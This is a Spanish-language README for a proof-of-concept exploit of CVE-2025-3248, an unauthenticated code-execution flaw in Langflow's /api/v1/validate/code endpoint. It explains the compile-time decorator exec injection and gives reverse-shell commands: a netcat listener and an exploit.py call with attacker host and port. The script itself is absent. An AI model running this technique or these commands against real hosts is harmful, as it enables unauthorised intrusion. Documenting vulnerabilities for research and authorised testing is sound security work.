
Prueba de concepto de exploit para CVE-2025-3248, una vulnerabilidad de ejecución remota de código no autenticada en Langflow, que demuestra la inyección de código a través del endpoint /api/v1/validate/code.
Prueba de concepto (PoC) para CVE-2025-3248, una vulnerabilidad de ejecución remota de código no autenticada en Langflow, una plataforma de construcción de flujos de trabajo para IA/LLM.
Langflow expone un endpoint, POST /api/v1/validate/code, destinado a
"validar" un fragmento de código Python enviado desde la interfaz de usuario (p. ej.,
código de componentes personalizados). Internamente analiza y compila el código con
ast.parse() / compile() e informa si es válido — sin requerir autenticación.
El fallo: Python evalúa las expresiones de decoradores en tiempo de análisis/compilación, antes de que la función decorada sea llamada. Si el "código a validar" enviado contiene un decorador como:
@exec("...código malicioso...")
def test():
pass
la llamada a exec(...) se ejecuta en el momento en que el código se analiza — la validación
nunca necesita invocar realmente a test(). Combinado con la ausencia de autenticación y de
sandboxing, una única petición HTTP no autenticada es suficiente para ejecutar
comandos arbitrarios en el host que ejecuta Langflow.
nc -lvnp 9001
python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
pip install requests
Este código se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas (laboratorios, CTFs, compromisos con permiso escrito explícito). No lo ejecutes contra sistemas que no te pertenezcan o para los que no tengas autorización explícita para probar. El autor no se hace responsable del mal uso.